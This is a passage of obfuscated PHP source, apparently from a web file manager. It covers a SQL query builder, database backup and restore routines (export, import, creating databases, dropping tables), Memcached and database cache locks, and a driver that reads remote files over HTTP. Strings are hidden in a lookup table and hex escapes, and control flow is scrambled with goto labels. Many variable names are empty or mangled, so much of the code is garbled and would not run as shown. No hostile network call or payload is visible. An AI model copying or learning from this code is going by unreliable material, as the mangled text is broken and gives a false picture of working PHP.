= is_string($ӓ[1]) ? explode($٦[50], $ӓ[1]) : $ӓ[1]; $ .= $٦[917] . $ᲂ . $٦[53] . $this->exp[$] . $٦[53] . $this->parseValue($[0]) . $٦[1018] . $this->parseValue($[1]) . $٦[278]; } else { think_exception(think_lang($٦[1021]) . $٦[4] . $ӓ[0]); } } else { $ = count($ӓ); $ċӬ = $٦[12]; if (is_string($ӓ[$ - 1])) { $ċӬ = isset($ӓ[$ - 1]) ? strtoupper($ӓ[$ - 1]) : $٦[12]; if (in_array($ċӬ, array($٦[1015], $٦[1016], $٦[1017]))) { $ = $ - 1; } } else { $ċӬ = $٦[1015]; } for ($ƍ = 0; $ƍ < $; $ƍ++) { $ = is_array($ӓ[$ƍ]) ? $ӓ[$ƍ][1] : $ӓ[$ƍ]; if ($٦[297] == strtolower($ӓ[$ƍ][0])) { $ .= $٦[260] . $ᲂ . $٦[53] . $ . $٦[1032] . $ċӬ . $٦[53]; } else { $հ = is_array($ӓ[$ƍ]) ? $this->exp[strtolower($ӓ[$ƍ][0])] : $٦[898]; if (!$հ && is_array($ӓ[$ƍ]) && in_array($ӓ[$ƍ][0], array($٦[898], $٦[1025], $٦[1026], $٦[1027], $٦[1028], $٦[1029]))) { $հ = $ӓ[$ƍ][0]; } $ .= $٦[260] . $ᲂ . $٦[53] . $հ . $٦[53] . $this->parseValue($) . $٦[1032] . $ċӬ . $٦[53]; } } $ = substr($, 0, -4); } } else { $ .= $ᲂ . $٦[1036] . $this->parseValue($ӓ); } return $; } protected function parseThinkWhere($, $˒) { $ =& $_SERVER[ö]; $ = $[12]; switch ($) { case $[352]: $ = $˒; break; case $[1019]: $ = is_string($˒) ? $˒ : substr($this->parseWhere($˒), 6); break; case $[1037]: parse_str($˒, $ߡ); if (isset($ߡ[$[1014]])) { $ = $[53] . strtoupper($ߡ[$[1014]]) . $[53]; unset($ߡ[$[1014]]); } else { $ = $[1018]; } $ = array(); foreach ($ߡ as $ => $ȼ) { $[] = $this->parseKey($) . $[1036] . $this->parseValue($ȼ); } $ = implode($, $); break; } return $; } protected function parseLimit($˜) { $ =& $_SERVER[ö]; return !empty($˜) ? $[51] . $˜ . $[53] : $[12]; } protected function parseJoin($ٺǥ) { $ =& $_SERVER[ö]; $ = $[12]; if (!empty($ٺǥ)) { if (is_array($ٺǥ)) { foreach ($ٺǥ as $ => $ܝ) { if (!1 !== stripos($ܝ, $[1038])) { $ .= $[53] . $ܝ; } else { $ .= $[1039] . $ܝ; } } } else { $ .= $[1039] . $ٺǥ; } } $ = preg_replace($[1040], think_config($[944]) . $[1041], $); return $; } protected function parseOrder($ɸ) { $ɰկ =& $_SERVER[ö]; if (is_array($ɸ)) { $瑤 = array(); foreach ($ɸ as $ꂐ => $) { if (is_numeric($ꂐ)) { $瑤[] = $this->parseKey($); } else { $ = in_array(strtoupper(trim($)), array($ɰկ[1042], $ɰկ[1043])) ? $ɰկ[53] . $ : $ɰկ[12]; if (preg_match($ɰկ[1044], $ꂐ)) { $瑤[] = $this->parseKey($ꂐ) . $; } else { think_exception($ɰկ[1045] . $ꂐ); } } } $ɸ = implode($ɰկ[50], $瑤); } return !empty($ɸ) ? $ɰկ[1046] . $ɸ : $ɰկ[12]; } protected function parseGroup($ș) { $ =& $_SERVER[ö]; return !empty($ș) ? $[1047] . $ș : $[12]; } protected function parseHaving($) { $Ϥʗ =& $_SERVER[ö]; return !empty($) ? $Ϥʗ[1048] . $ : $Ϥʗ[12]; } protected function parseComment($ꕩ) { $ =& $_SERVER[ö]; return !empty($ꕩ) ? $[1049] . $ꕩ . $[1050] : $[12]; } protected function parseDistinct($Ⳛ) { $ =& $_SERVER[ö]; return !empty($Ⳛ) ? $[1051] : $[12]; } protected function parseUnion($체) { $ =& $_SERVER[ö]; if (empty($체)) { return $[12]; } if (isset($체[$[348]])) { $݇ = $[1052]; unset($체[$[348]]); } else { $݇ = $[1053]; } foreach ($체 as $՝) { $ɨ߿[] = $݇ . (is_array($՝) ? $this->buildSelectSql($՝) : $՝); } return implode($[53], $ɨ߿); } public function insert($Φٟ, $óޥ = array(), $ = false) { $ͫ =& $_SERVER[ö]; $ = $β = array(); $this->model = $óޥ[$ͫ[281]]; foreach ($Φٟ as $˽ => $) { if (is_array($) && $ͫ[297] == $[0]) { $β[] = $this->parseKey($˽); $[] = $[1]; } elseif (is_scalar($) || is_null($)) { $β[] = $this->parseKey($˽); $[] = $this->parseValue($); } } $ = ($ ? $ͫ[921] : $ͫ[922]) . $ͫ[923] . $this->parseTable($óޥ[$ͫ[279]]) . $ͫ[917] . implode($ͫ[50], $β) . $ͫ[918] . implode($ͫ[50], $) . $ͫ[919]; $ .= $this->parseLock(isset($óޥ[$ͫ[857]]) ? $óޥ[$ͫ[857]] : !1); $ .= $this->parseComment(!empty($óޥ[$ͫ[354]]) ? $óޥ[$ͫ[354]] : $ͫ[12]); return $this->execute($, $this->parseBind(!empty($óޥ[$ͫ[285]]) ? $óޥ[$ͫ[285]] : array())); } public function selectInsert($Η, $, $ν = array()) { $ =& $_SERVER[ö]; $this->model = $ν[$[281]]; if (is_string($Η)) { $Η = explode($[50], $Η); } array_walk($Η, array($this, $[920])); $ڌư = $[1054] . $this->parseTable($) . $[917] . implode($[50], $Η) . $[1032]; $ڌư .= $this->buildSelectSql($ν); return $this->execute($ڌư, $this->parseBind(!empty($ν[$[285]]) ? $ν[$[285]] : array())); } public function update($, $ҥ) { $ =& $_SERVER[ö]; $this->model = $ҥ[$[281]]; $ှ = $[1055] . $this->parseTable($ҥ[$[279]]) . $this->parseSet($) . $this->parseWhere(!empty($ҥ[$[275]]) ? $ҥ[$[275]] : $[12]) . $this->parseOrder(!empty($ҥ[$[365]]) ? $ҥ[$[365]] : $[12]) . $this->parseLimit(!empty($ҥ[$[292]]) ? $ҥ[$[292]] : $[12]) . $this->parseLock(isset($ҥ[$[857]]) ? $ҥ[$[857]] : !1) . $this->parseComment(!empty($ҥ[$[354]]) ? $ҥ[$[354]] : $[12]); return $this->execute($ှ, $this->parseBind(!empty($ҥ[$[285]]) ? $ҥ[$[285]] : array())); } public function delete($ = array()) { $ =& $_SERVER[ö]; $this->model = $[$[281]]; $꧘¹ = $[1056] . $this->parseTable($[$[279]]) . $this->parseWhere(!empty($[$[275]]) ? $[$[275]] : $[12]) . $this->parseOrder(!empty($[$[365]]) ? $[$[365]] : $[12]) . $this->parseLimit(!empty($[$[292]]) ? $[$[292]] : $[12]) . $this->parseLock(isset($[$[857]]) ? $[$[857]] : !1) . $this->parseComment(!empty($[$[354]]) ? $[$[354]] : $[12]); return $this->execute($꧘¹, $this->parseBind(!empty($[$[285]]) ? $[$[285]] : array())); } public function select($Ђ = array()) { $ٰ =& $_SERVER[ö]; $this->model = $Ђ[$ٰ[281]]; $ؓ = $this->buildSelectSql($Ђ); $ŵ = isset($Ђ[$ٰ[349]]) ? $Ђ[$ٰ[349]] : !1; if ($ŵ) { $ = is_string($ŵ[$ٰ[94]]) ? $ŵ[$ٰ[94]] : $ٰ[1057] . md5($ؓ); $ = think_cache($, $ٰ[12], $ŵ); if (!1 !== $) { return $; } } $Ā = $this->query($ؓ, $this->parseBind(!empty($Ђ[$ٰ[285]]) ? $Ђ[$ٰ[285]] : array())); if ($ŵ && !1 !== $Ā) { think_cache($, $Ā, $ŵ); } return $Ā; } public function buildSelectSql($Ǧ = array()) { $ =& $_SERVER[ö]; if (isset($Ǧ[$[353]])) { if (strpos($Ǧ[$[353]], $[50])) { list($ꡅ, $͑) = explode($[50], $Ǧ[$[353]]); } else { $ꡅ = $Ǧ[$[353]]; } $ꡅ = $ꡅ ? $ꡅ : 1; $͑ = isset($͑) ? $͑ : (is_numeric($Ǧ[$[292]]) ? $Ǧ[$[292]] : 20); $ = $͑ * ((int) $ꡅ - 1); $Ǧ[$[292]] = $ . $[50] . $͑; } if (think_config($[1058])) { $ = $[1059] . md5(serialize($Ǧ)); $Ğ = think_cache($); if ($Ğ ) { return $Ğ ; } } $ = $this->parseSql($this->selectSql, $Ǧ); $ .= $this->parseLock(isset($Ǧ[$[857]]) ? $Ǧ[$[857]] : !1); if (isset($)) { think_cache($, $); } return $; } public function parseSql($̵⚔, $ = array()) { $ =& $_SERVER[ö]; $̵⚔ = str_replace(array($[1060], $[1061], $[1062], $[1063], $[1064], $[1065], $[1066], $[1067], $[1068], $[1069], $[1070]), array($this->parseTable("{$[$[279]]}"), $this->parseDistinct(isset($[$[1071]]) ? $[$[1071]] : !1), $this->parseField(!empty($[$[273]]) ? $[$[273]] : $[188]), $this->parseJoin(!empty($[$[282]]) ? $[$[282]] : $[12]), $this->parseWhere(!empty($[$[275]]) ? $[$[275]] : $[12]), $this->parseGroup(!empty($[$[515]]) ? $[$[515]] : $[12]), $this->parseHaving(!empty($[$[1072]]) ? $[$[1072]] : $[12]), $this->parseOrder(!empty($[$[365]]) ? $[$[365]] : $[12]), $this->parseLimit(!empty($[$[292]]) ? $[$[292]] : $[12]), $this->parseUnion(!empty($[$[347]]) ? $[$[347]] : $[12]), $this->parseComment(!empty($[$[354]]) ? $[$[354]] : $[12])), $̵⚔); return $̵⚔; } public function getLastSql($ȥ = '') { return $ȥ ? $this->modelSql[$ȥ] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($) { return addslashes($); } public function setModel($) { $this->model = $; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } class DbManage { function __construct($Ă = array()) { $㗽 =& $_SERVER[ö]; if (empty($Ă)) { $Ă = $GLOBALS[$㗽[6]][$㗽[21]]; } $this->database = $Ă; } public function model($ = '') { return new ModelBase($, $_SERVER[ö][12], $this->database); } public function db($ܫ = false) { $ࠉ =& $_SERVER[ö]; $Ź = array_change_key_case($this->database); if ($this->dbType() == $ࠉ[13] || !$ܫ) { return $this->model()->db(); } $˗ = $Ź[$ࠉ[986]]; $Ź[$ࠉ[986]] = $ࠉ[12]; if ($Ź[$ࠉ[981]] == $ࠉ[978]) { $٩ = $Ź[$ࠉ[987]]; $Ź[$ࠉ[987]] = substr($٩, 0, strrpos($٩, $ࠉ[1073])); } $this->database = $Ź; $ = $this->model()->db(); try { $ͤ = $->execute("\x73\150\x6f\x77\40\x64\x61\164\x61\x62\141\x73\145\163\x20\x6c\151\153\145\x20\47{$˗}\47"); } catch (Exception $ڍ) { } if (!$ͤ) { $->execute("\x63\162\145\141\x74\x65\40\x64\x61\164\141\x62\141\x73\x65\x20\140{$˗}\140"); } $Ź[$ࠉ[986]] = $˗; if ($Ź[$ࠉ[981]] == $ࠉ[978]) { $Ź[$ࠉ[987]] .= $ࠉ[1073] . $˗; } $this->database = $Ź; $->execute("\165\163\x65\40\x60{$˗}\x60"); return $; } public function createTable($, &$߫) { $Ȗ =& $_SERVER[ö]; if (!IO::exist($)) { ActionCall($Ȗ[1074], !0, 0); show_json(LNG($Ȗ[1075]), !1); } $Ð = $this->model()->db(); $ơ = sqlSplit(IO::getContent($)); foreach ($ơ as $̑) { $̆ = stripos($̑, $Ȗ[1076]) === 0; if ($̆) { $߫->task[$Ȗ[792]] += 1; } $Ð->execute($̑); if ($̆) { preg_match($Ȗ[1077], $̑, $ޜ); $߫->task[$Ȗ[1078]] = $ޜ[1]; $߫->update(1); } } } public function insertTable($ƴ, &$ͫ) { $΄ =& $_SERVER[ö]; $ = $this->model()->db(); $ = $ؽ ? array($ؽ) : $->getTables(); foreach ($ƴ as $Îӑ) { $ؽ = basename($Îӑ, $΄[794]); if (!in_array($ؽ, $)) { continue; } $ͫ->task[$΄[1078]] = $ؽ; if (get_filesize($Îӑ) == 0) { continue; } $Ə = $this->sqlToDb($Îӑ, $ͫ); if (!$Ə) { ActionCall($΄[1074], !0, 0); show_json(LNG($΄[1079]) . "\x5b{$ؽ}\135", !1); } } } public function sqlFromDb($, $̏, &$͌, $ڹ = '') { if ($͌) { $͌->task[$_SERVER[ö][1078]] = $; } $ړ = $this->model($); $̹α = 0; $ = 0; $浲 = 10000; $Ը = fopen($̏, $_SERVER[ö][1080]); $ = $ړ->getPk(); $ς = $ړ->getDbFields(); $ = $_SERVER[ö][12]; if ($GLOBALS[$_SERVER[ö][793]] && in_array($, array($_SERVER[ö][1081], $_SERVER[ö][1082]))) { $ = $; } do { $ = array($ => array($_SERVER[ö][1028], $)); $ݣ = $ړ->where($)->field($ς)->order($ . $_SERVER[ö][1083])->limit($浲)->select(); $ݣ = !empty($ݣ) ? $ݣ : array(); if (!($˦ = count($ݣ))) { break; } $͢ = end($ݣ); $ = $͢[$]; $Ɋ = array(); foreach ($ݣ as $) { if ($) { if ($ == $_SERVER[ö][1081]) { if ($[$_SERVER[ö][33]] == $_SERVER[ö][1084]) { $ƛҡ = json_decode($[$_SERVER[ö][374]], !0); if ($ƛҡ[$_SERVER[ö][32]] == $GLOBALS[$_SERVER[ö][793]] && $ƛҡ[$_SERVER[ö][756]] != 1) { continue; } } } else { if ($[$_SERVER[ö][33]] == $_SERVER[ö][1085] && $[$_SERVER[ö][94]] == $_SERVER[ö][785]) { continue; } } } if ($ڹ) { $[$_SERVER[ö][84]] = "\173\151\157\x3a{$ڹ}\175" . substr($[$_SERVER[ö][84]], strlen("\x7b\x69\x6f\x3a{$[$_SERVER[ö][823]]}\175")); $[$_SERVER[ö][823]] = $ڹ; } $Ɋ[] = $_SERVER[ö][1086] . $this->sqlEncode($) . $_SERVER[ö][1087]; } $ = "\111\x4e\123\105\x52\124\x20\x49\x4e\x54\117\x20\140{$}\140\40\x28\x60" . implode($_SERVER[ö][1088], $ς) . $_SERVER[ö][1089]; fwrite($Ը, $ . implode($_SERVER[ö][1090], $Ɋ) . $_SERVER[ö][71] . PHP_EOL); $̹α += $˦; if ($͌) { $͌->update($˦); } } while ($浲 == $˦); fclose($Ը); return $̹α; } public function sqlToDb($, &$ַ) { $ =& $_SERVER[ö]; $ێ = $this->model()->db(); $ח = @fopen($, $[1091]); if (!$ח) { return !1; } $֛ = 0; $ = $[12]; $ = array(); $ޓ = $this->dbType(); $Һ = $ޓ == $[13] ? 500 : 2000; $ = basename($, $[794]); $ = 0; $λ = 4194304 - 104858; $Ǎᙤ = 1000000 - 104858; while (!feof($ח)) { $ = trim(fgets($ח)); if (!$) { continue; } $ = $this->sqlDecode($, $ޓ, $); if (stripos($, $[355]) === 0) { if (!$) { $ = $ . $[53]; } continue; } if ($ַ) { $ַ->task[$[792]] += 1; } $֛++; $[] = rtrim(rtrim(trim($), $[50]), $[71]); $Ȼ = null; $é = strlen($); $ += $é; if ($ >= ($Һ == 500 ? $Ǎᙤ : $λ)) { $Ȼ = array_pop($); if ($֛ > 1) { $֛--; } } if ($֛ >= $Һ || $Ȼ) { $ = $ . implode($[50], $); if (!$ێ->execute($)) { return !1; } if ($ַ) { $ַ->update($֛); } $ = array(); $֛ = 0; $ = 0; if ($Ȼ) { $ = array($Ȼ); $֛ = 1; $ = $é; } } } fclose($ח); if (!empty($)) { $ = $ . implode($[50], $); if (!$ێ->execute($)) { return !1; } if ($ַ) { $ַ->update($֛); } } return !0; } public function dropTable($ = null) { $ = $this->model()->db(); $ = $ ? array($) : $->getTables(); if (!$) { return; } foreach ($ as $) { if ($) { $ = strtolower($); } else { continue; } $->execute("\x64\x72\157\160\40\x74\141\x62\x6c\145\40\151\x66\x20\x65\170\151\163\x74\x73\40\x60{$}\x60"); } } private function sqlEncode($ň) { $ =& $_SERVER[ö]; $ = array(); foreach ($ň as $Ӂ) { if (is_array($Ӂ)) { $Ӂ = json_encode_force($Ӂ); } $Ӂ = addslashes($Ӂ); $Ӂ = str_replace(array($[1092], $[231]), array($[1093], $[1094]), $Ӂ); $[] = str_replace($[58], $[1095], $Ӂ); } return $[58] . implode($[1096], $) . $[58]; } private function sqlDecode($, $ڮܫ, $ߓ = '') { $ܼ =& $_SERVER[ö]; $ = str_replace(array($ܼ[1093], $ܼ[1094]), array($ܼ[1092], $ܼ[231]), $); if ($ڮܫ == $ܼ[13]) { return $ߓ != $ܼ[1097] ? stripslashes($) : $; } if ($ߓ == $ܼ[1097]) { $ = str_replace($ܼ[1098], $ܼ[118], stripslashes($)); } return $; } public function getSqlFile($աĜ = '') { $ޡ =& $_SERVER[ö]; $ɯ = $this->dbType(!0); $ֲ = CONTROLLER_DIR . "\151\156\x73\164\x61\154\154\x2f\x64\141\x74\141\x2f{$ɯ}\56\x73\x71\154"; $վ = file_get_contents($ֲ); $ɚ = $ޡ[1099] . ($ɯ == $ޡ[810] ? $ޡ[1100] : $ޡ[1101]) . $ޡ[1102]; preg_match_all($ɚ, $վ, $); $Ԓ = $[1]; $ф = $this->model()->db(); $ᚣ = $ф->getTables(); $ˊƋ = TEMP_FILES . $ޡ[1103] . date($ޡ[757]) . $ޡ[8]; del_dir($ˊƋ); mk_dir($ˊƋ); $ޡڤ = $ˊƋ . $ޡ[1104]; $ӆđ = $ˊƋ . $ޡ[1105]; $ = $ɯ == $ޡ[13] ? $ޡ[810] : $ޡ[13]; IO::copy(CONTROLLER_DIR . "\x69\156\163\164\x61\154\x6c\x2f\144\141\x74\141\57{$}\56\163\161\154", $ˊƋ); @touch($ˊƋ . $ɯ . $ޡ[794]); $ = fopen($ޡڤ, $ޡ[1080]); $ = fopen($ӆđ, $ޡ[1080]); if ($ɯ == $ޡ[13]) { $ᚣ = array_diff($ᚣ, array($ޡ[790], $ޡ[791])); $̦ = array($ޡ[1106], $ޡ[1107], $ޡ[1108]); fwrite($, implode(PHP_EOL, $̦) . PHP_EOL . PHP_EOL); foreach ($ᚣ as $) { $ޔӡ = $this->sqlFromSqlite($); if (!$ޔӡ[$ޡ[13]]) { continue; } fwrite($, $ޔӡ[$ޡ[13]] . PHP_EOL . PHP_EOL); if (!in_array($, $Ԓ)) { fwrite($, $ޔӡ[$ޡ[810]] . PHP_EOL . PHP_EOL); } } } else { foreach ($ᚣ as $) { $ޔӡ = $this->sqlFromMysql($); if (!$ޔӡ[$ޡ[810]]) { continue; } fwrite($, $ޔӡ[$ޡ[810]] . PHP_EOL . PHP_EOL); if (!in_array($, $Ԓ)) { fwrite($, $ޔӡ[$ޡ[13]] . PHP_EOL . PHP_EOL); } } } fclose($); fclose($); $վ = array($ޡ[810] => $ޡڤ, $ޡ[13] => $ӆđ); return $աĜ ? $վ[$աĜ] : $վ; } public function dbType($Ǜ = false) { $ =& $_SERVER[ö]; $զ = $Ǜ ? $GLOBALS[$[6]][$[21]] : $this->database; $զ = array_change_key_case($զ); $Í = $զ[$[981]]; if ($Í == $[978]) { $ؒ = explode($[4], $զ[$[987]]); $Í = $ؒ[0]; } $텚 = array($[1109] => $[13], $[926] => $[810]); if (isset($텚[$Í])) { $Í = $텚[$Í]; } return $Í; } public function sqlFromMysql($ʆ, $ = '') { $ߗ =& $_SERVER[ö]; $ = $this->model()->db(); $ = $->query($ߗ[1110] . $ʆ . $ߗ[385]); if (!$ || !$[0]) { return !1; } $ = _get($[0], $ߗ[1111], $ߗ[12]); if (!$) { return !1; } $眀 = "\104\x52\x4f\120\40\124\101\x42\114\105\40\x49\x46\x20\105\130\111\123\x54\x53\40\x60{$ʆ}\140\x3b" . PHP_EOL . $ . $ߗ[71]; if ($ && $ == $ߗ[810]) { return $眀; } $ԝ͉ = array_change_key_case($GLOBALS[$ߗ[6]][$ߗ[21]]); $ᴡ = $ԝ͉[$ߗ[986]]; $ޛ = $ߗ[1112] . $ᴡ . $ߗ[1113] . $ʆ . $ߗ[58]; $ = $ߗ[1114] . $ʆ . $ߗ[914]; $ = $->query($ޛ); if (empty($)) { $ = array($ߗ[810] => $ߗ[12], $ߗ[13] => $ߗ[12]); return $ ? $[$] : $; } $뽂 = $->query($); $ = $ߗ[12]; $ؖ = array(); foreach ($뽂 as $) { if (!$ && $[$ߗ[1115]] == $ߗ[1116]) { $ = $[$ߗ[1117]]; } if (isset($ؖ[$[$ߗ[1115]]])) { $ؖ[$[$ߗ[1115]]][$ߗ[1118]][] = $[$ߗ[1117]]; continue; } $ؖ[$[$ߗ[1115]]] = array($ߗ[1119] => $[$ߗ[1115]], $ߗ[1118] => array($[$ߗ[1117]]), $ߗ[1120] => $[$ߗ[1121]] == $ߗ[88] ? 0 : 1); } $ȍ = array(); foreach ($ؖ as $) { $˹ = $[$ߗ[1119]] == $ߗ[1116]; $± = array($ߗ[1122], $[$ߗ[1120]] == $ߗ[88] && !$˹ ? $ߗ[1123] : $ߗ[12], $ߗ[1124], $ߗ[1125] . $ʆ . $ߗ[11] . ($˹ ? $ߗ[1126] : $[$ߗ[1119]]) . $ߗ[118], $ߗ[1127], $ߗ[118] . $ʆ . $ߗ[118], $ߗ[1128] . implode($ߗ[1129], $[$ߗ[1118]]) . $ߗ[1130]); $ȍ[] = implode($ߗ[53], $±) . $ߗ[71]; } $ٗ = array(); $Ƶ = array($ߗ[1131] => $ߗ[1132], $ߗ[1132] => $ߗ[1132], $ߗ[288] => $ߗ[315], $ߗ[287] => $ߗ[315]); foreach ($ as $) { $± = array($ߗ[118] . $[$ߗ[1133]] . $ߗ[118], isset($Ƶ[$[$ߗ[1134]]]) ? $Ƶ[$[$ߗ[1134]]] : $[$ߗ[1135]], $[$ߗ[1136]] == $ߗ[912] ? $ߗ[1137] : $ߗ[1138], $[$ߗ[1133]] == $ ? $ߗ[1139] : $ߗ[12], $[$ߗ[963]] ? strtoupper(str_replace($ߗ[11], $ߗ[12], $[$ߗ[963]])) : $ߗ[12]); $ٗ[] = trim(implode($ߗ[53], $±)); } $鼼 = array($ߗ[1140] . $ʆ . $ߗ[1141], $ߗ[1142] . $ʆ . $ߗ[1143], implode($ߗ[50] . PHP_EOL, $ٗ), $ߗ[960]); $㍜ = implode(PHP_EOL, array_merge($鼼, $ȍ)); if ($ && $ == $ߗ[13]) { return $㍜; } $ = array($ߗ[810] => $眀, $ߗ[13] => $㍜); return $ ? $[$] : $; } public function sqlFromSqlite($, $Ÿ = '') { $ =& $_SERVER[ö]; $ = $this->model()->db(); $Ӹ = "\120\122\x41\107\115\x41\40\124\x41\x42\114\x45\137\111\x4e\106\117\x20\x28\47{$}\47\x29"; $ = "\x53\x45\x4c\x45\x43\x54\40\52\40\x46\x52\117\x4d\x20\163\x71\x6c\151\x74\145\x5f\155\141\x73\x74\x65\162\x20\x57\110\x45\122\105\x20\x74\142\x6c\137\x6e\x61\x6d\145\x20\x3d\40\x27{$}\47"; $ب = $->query($Ӹ); if (empty($ب)) { $봭̄ = array($[810] => $[12], $[13] => $[12]); return $Ÿ ? $봭̄[$Ÿ] : $봭̄; } $㙺 = $->query($); $Շ = $ = array(); foreach ($㙺 as $) { if ($[$[33]] == $[279]) { $Շ[] = $[$[1144]]; } else { $[$[$[32]]] = $[$[1144]]; } } $А = array_merge(array($[1140] . $ . $[118]), $Շ, array_values($)); $А = implode($[71] . PHP_EOL, $А) . $[71]; if ($Ÿ && $Ÿ == $[13]) { return $А; } $ = array(); $ = array($[1132] => $[1145], $[315] => $[1146]); $ = $[12]; foreach ($ب as $) { if ($[$[57]] == $[88]) { $ = $[$[32]]; } $ǧ = array($[385] . $[$[32]] . $[385], isset($[$[$[33]]]) ? $[$[$[33]]] : $[$[33]], $[$[35]] == $[88] ? $[1137] : $[1147] . $[$[56]], $[$[57]] == $[88] ? $[1148] : $[12]); $[] = trim(implode($[53], $ǧ)); } foreach ($ as $á => $˼믫) { $Αԛܨ = str_replace($[1149] . $ . $[11], $[12], $á); $ګ = str_replace(array($[118], $[971]), $[385], substr($˼믫, stripos($˼믫, $[260]))); if ($Αԛܨ == $[1126]) { $ = $[1150] . $ . $[1151]; } else { $ = (stripos($Αԛܨ, $[11]) ? $[1152] : $[12]) . ($[1153] . $Αԛܨ . $[1154] . $ګ); } $[] = $; } $ݤ = array($[1155] . $ . $[1156], $[1157] . $ . $[1158], implode($[50] . PHP_EOL, $), $[1159]); $ = implode(PHP_EOL, $ݤ); if ($Ÿ && $Ÿ == $[810]) { return $; } $봭̄ = array($[810] => $, $[13] => $А); return $Ÿ ? $봭̄[$Ÿ] : $봭̄; } } goto d㤪; b: class CacheLockMemcached { public function lock($ö, $ = 0) { $ = Cache::init(); $ = microtime(!0) + $; while (microtime(!0) < $) { $ = $->get($ö); if (!$ || $ < microtime(!0)) { $ = $->handle->add($ö, $, $); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($ľ) { return Cache::init()->get($ľ); } public function unlock($) { return Cache::init()->remove($); } } class CacheLockDatabase { public function lock($, $ = 0) { $颃 = Model($_SERVER[ö][835]); $龗 = microtime(!0) + $; while (microtime(!0) < $龗) { $ρک = $颃->get($); if (!$ρک || $ρک < microtime(!0)) { $ڞ = $颃->set($, $龗); if ($ڞ) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($ڵ) { return Model($_SERVER[ö][835])->get($ڵ); } public function unlock($ጏ) { Model($_SERVER[ö][835])->remove($ጏ); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($, $봍) { $ˑ =& $_SERVER[ö]; if (!class_exists($ˑ[880])) { show_json($ˑ[881], !1); } $this->cacheTime = $봍; $this->handle = new Memcached(); if (is_array($[$ˑ[882]]) && count($[$ˑ[882]]) >= 1) { foreach ($[$ˑ[882]] as $) { $ų = explode($ˑ[4], $); $this->handle->addServer($ų[0], $ų[1]); } } else { $this->handle->addServer($[$ˑ[181]], $[$ˑ[182]]); } } public function set($, $Ì, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->set($, $Ì, $); } public function get($ɿ) { return $this->handle->get($ɿ); } public function remove($) { return $this->handle->delete($); } public function deleteAll() { return $this->handle->flush(); } } goto dیڽ͊; aս: class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($ѐ = false) { } public function exist($) { $˚ = $this->info($); return $˚[$_SERVER[ö][201]]; } public function isFile($ّ) { $㾍ŗ = $this->info($ّ); return $㾍ŗ[$_SERVER[ö][201]]; } public function isFolder($թ) { return !1; } public function size($ҩ) { $ = $this->info($ҩ); return $[$_SERVER[ö][76]]; } public function info($쐸) { return $this->infoParse($쐸); } public function infoAuth($߭) { return $this->infoParse($߭); } public function infoWithChildren($צ) { return $this->infoParse($צ); } public function infoFull($ð) { return $this->infoParse($ð); } private function infoParse($) { $ّ =& $_SERVER[ö]; $ = $this->header($); if (!$ || !$[$ّ[756]]) { return !1; } $ۥ = _get($, $ّ[337], 0); $ = array($ّ[32] => $[$ّ[32]], $ّ[84] => $, $ّ[33] => $ّ[199], $ّ[76] => intval($ۥ), $ّ[174] => get_path_ext($[$ّ[32]]), $ّ[1401] => $ۥ > 0 && $[$ّ[1523]], $ّ[1402] => !1); return $; } private function header($蝯) { $阖 =& $_SERVER[ö]; if (isset(self::$_cacheHeader[$蝯])) { return self::$_cacheHeader[$蝯]; } $ݲ = isset($GLOBALS[$阖[1524]]) ? $GLOBALS[$阖[1524]] : !1; $GLOBALS[$阖[1524]] = !0; self::$_cacheHeader[$蝯] = url_header($蝯); $GLOBALS[$阖[1524]] = $ݲ; return self::$_cacheHeader[$蝯]; } public function hashSimple($ѓ, $ = false) { $Ɔ˭ =& $_SERVER[ö]; $ݼ = $this->info($ѓ); if (!$ݼ || !$ݼ[$Ɔ˭[201]]) { return !1; } $ȍ = $ݼ[$Ɔ˭[76]]; $Ǽ = 200; $Ͱ = 50; if ($ȍ <= $Ǽ * $Ͱ) { return md5($this->fileSubstr($ѓ, 0, $ȍ)) . $ȍ; } $ꬩ = intval($ȍ / $Ͱ); $֦ = $Ɔ˭[12]; $҉ = timeFloat(); $ƀ = 15; for ($ = 0; $ < $Ͱ; $++) { if (timeFloat() - $҉ > $ƀ) { return !1; } $ܑߢ = $this->fileSubstr($ѓ, $ꬩ * $, $Ǽ); if (!$ܑߢ) { return !1; } $֦ .= $ܑߢ; } $֦ .= $this->fileSubstr($ѓ, $ȍ - $Ǽ, $Ǽ); return md5($֦) . $ȍ; } public function getContent($) { return $this->fileSubstr($); } public function fileSubstr($Ն, $䁺 = 0, $ = -1) { $Ϲ =& $_SERVER[ö]; $У = $this->info($Ն); if (!$У || !$У[$Ϲ[201]] && $У[$Ϲ[76]] > 1024 * 1024 * 10) { return !1; } if ($ === -1) { $ = $У[$Ϲ[76]]; } if ($ == 0) { return $Ϲ[12]; } $ = array($Ϲ[1525] . $䁺 . $Ϲ[788] . ($䁺 + $ - 1)); $ؽ = url_request($Ն, $Ϲ[230], !1, $, !1, !1, 30); return $ؽ[$Ϲ[1217]] ? $ؽ[$Ϲ[1217]] : $Ϲ[12]; } public function download($̉, $) { Downloader::start($̉, $); return $; } } class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($ѳԖ, $ڗ = '') { $this->info = $this->info($ѳԖ); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[ö][84]]; $this->pathOpen = $ѳԖ; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$ѳԖ])) { self::$_chunkBuffer[$ѳԖ] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($) { $ = $this->fileSubstr($this->pose, $); $this->pose += strlen($); return $; } public function stream_tell() { return $this->pose; } public function stream_seek($ȏ, $̱ȇ) { $ =& $_SERVER[ö]; if ($̱ȇ == SEEK_SET) { $this->pose = $ȏ; } else { if ($̱ȇ == SEEK_CUR) { $this->pose += $ȏ; } else { if ($̱ȇ == SEEK_END) { $this->pose = $this->info[$[76]] + intval($ȏ); } } } if ($ȏ < 0) { $this->pose = $this->info[$[76]] + $ȏ; } return !0; } public function stream_eof() { return 